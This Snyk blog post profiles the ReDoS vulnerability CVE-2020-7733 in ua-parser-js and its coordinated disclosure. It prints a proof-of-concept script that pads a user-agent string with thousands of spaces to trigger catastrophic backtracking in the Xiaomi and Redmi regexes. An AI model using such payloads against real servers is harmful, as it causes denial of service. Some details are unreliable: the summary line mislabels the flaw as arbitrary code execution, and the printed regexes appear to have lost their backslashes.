Regular Expression Denial of Service (REDoS) in UAParser.js

Welcome to the Snyk Monthly Vulnerability Profile. In this series, Snyk looks back on the vulnerabilities discovered by or reported to ourSecurity Research Team. We choose one noteworthy vulnerability from the past month and tell the story behind the discovery, research, and disclosure of the vulnerability. We highlight the researchers, developers, and users who are helping identify and remediate vulnerabilities across the open source community.

This month we’re looking at a Regular Expression Denial of Service (REDoS) vulnerability discovered in the popular UAParser JavaScript package.

Vulnerability:arbitrary code execution in ua-parser-jsCVEs assigned: CVE-2020-7733Snyk Analyst:Asaf BitonDiscovered by:Yeting Li

The Snyk Research team investigated and disclosed a Regular Expression Denial-of-Service (REDoS) vulnerability in the popular UAParser JavaScript package which was reported to us by a third-party researcher.

As part of their efforts to help make disclosing vulnerabilities easier and more effective for researchers, the team works with researchers who report vulnerabilities to us. Each report is investigated to understand if this issue is reproducible, whether or not within the context of the package the vulnerability is truly a security risk, and ultimately to gather a full picture of the complete risk the vulnerability could pose to the open source community.

The REDoS vulnerability in the UAParser package was reported to Snyk by a third-party researcher, Yeting Li. So, let’s take a deeper look at the details of the vulnerability, how it was discovered, and how the research team worked with the researcher and the package maintainer to ensure the vulnerability was disclosed responsibly and, ultimately, remediated.

Digging into the specifics of the REDoS vulnerability

UAParser is a JavaScript user-agent parsing package targeted for both client-side and server-side usage. According to the Snyk Advisor the UAParser package has over six million, making it quite a popular package. The REDoS vulnerability that was discovered and disclosed in this case was specific to the regular expressions that are defined for identifying browsers on Xiaomi Redmi phones and Mi Pad tablets.

In his Proof-of-Concept, Li demonstrated that by appending a long string of space characters (in his case, 5,000) followed by an exclamation point to the user agent, an attacker could force a condition called catastrophic backtracking. This condition can cause the testing of a string against a regex to take exponentially longer than normal tying up resources or even causing the regex engine to crash completely. When targeted at regex processing in a server-side Node.js application, this can be used to cause the server to fail or become unresponsive to other user requests. The full POC can be seen below:

var blank = " ";
for (let i = 1; i < 5000; i++) {
blank = blank + " ";
}

str_mi = "android1mipad" + blank + "!";
str_mi = str_mi + +blank + "!";
mi = /android.+(mi[s-_]*(?:pad)(?:[s_]*[ws]+))s+build/i;

var count_mi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
mi.test(str_mi);
var len = Date.now() - time;
count_mi = count_mi + len;
console.log("mi:" + blank.length + ": " + len)
}
console.log(count_mi / 10);

str_redmi = "android1redminote" + blank + "!";
redmi = /android.+(redmi[s-_]*(?:note)?(?:[s_]*[ws]+))s+build/i;
var count_redmi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
redmi.test(str_redmi);
var len = Date.now() - time;
count_redmi = count_redmi + len;
console.log("redmi:" + blank.length + ": " + len)
}
console.log(count_redmi / 10);

For more information on REDoS vulnerabilities, how catastrophic backtracking occurs, and how it can be exploited, see our blog post here.

Researching REDoS vulnerabilities

Yeting Li is a research postgraduate student in the Laboratory of Computer Science at the Institute of Software, Chinese Academy of Sciences (ISCAS). As part of his current research in pursuit of his Ph.D. degree, he has been focusing on techniques to automate the detection of regex vulnerabilities that are vulnerable to REDoS attacks. As part of this research, he has created an algorithm that he uses to search for these vulnerabilities in open source packages.

The Snyk Research team has worked with Mr. Li on a large number of disclosures in the past year. It’s been a cooperative effort for both the researcher and the Snyk team to make the process as efficient as possible. Snyk worked with Mr. Li to ensure that he had a clear set of expectations to follow in crafting his disclosures so that they could be processed quickly. From the Snyk perspective, receiving this high volume of disclosures from one researcher was a unique situation. To make it easier for both parties, a private GitHub repository was set up to facilitate the exchange of information easily.

On September 9, 2020, Mr. Li uploaded his report and POC for a REDoS vulnerability he had discovered in the UAParser package. Asaf Biton from the Snyk research team was assigned to work on the investigation. Asaf was able to use the POC provided, with some quick revisions, to verify that the vulnerability was indeed reproducible and represented a risk in the context of the package. In less than an hour, Asaf had sent an email to the maintainer of the package, notifying him of the vulnerability and requesting permission to reserve a CVE for the vulnerability.

The maintainer responded in less than 24 hours indicating that he would publish a fix in the coming days and that it would indeed be acceptable to publish a CVE, once the fix was available. On September 12, less than 72 hours after the initial disclosure, the package maintainer committed a fix to the repository on GitHub and notified Snyk that the new version was available. Snyk in turn published CVE-2020-7733 to the CVE database and published the complete write-up to the Snyk vulnerability database with the Snyk ID SNYK-JS-UAPARSERJS-610226.

In retrospect

Following the publication of the vulnerability in the Snyk database, nearly 21,000 packages being monitored by Snyk were found to have the vulnerable versions of the package. As a result of the collective efforts of this researcher, the package maintainer, and the Snyk Research team, the developers responsible for those packages in the Snyk system—plus countless others who are not yet users in the Snyk ecosystem—were able to be notified of the issue and easily fix it within their code.

This is another terrific example of how Snyk’s commitment to enabling developers to safely and securely use open source software goes beyond just the boundaries of the Snyk tool. Our research team continues to work on identifying and disclosing vulnerabilities both through their own work and in collaboration with other researchers in the security and open source communities.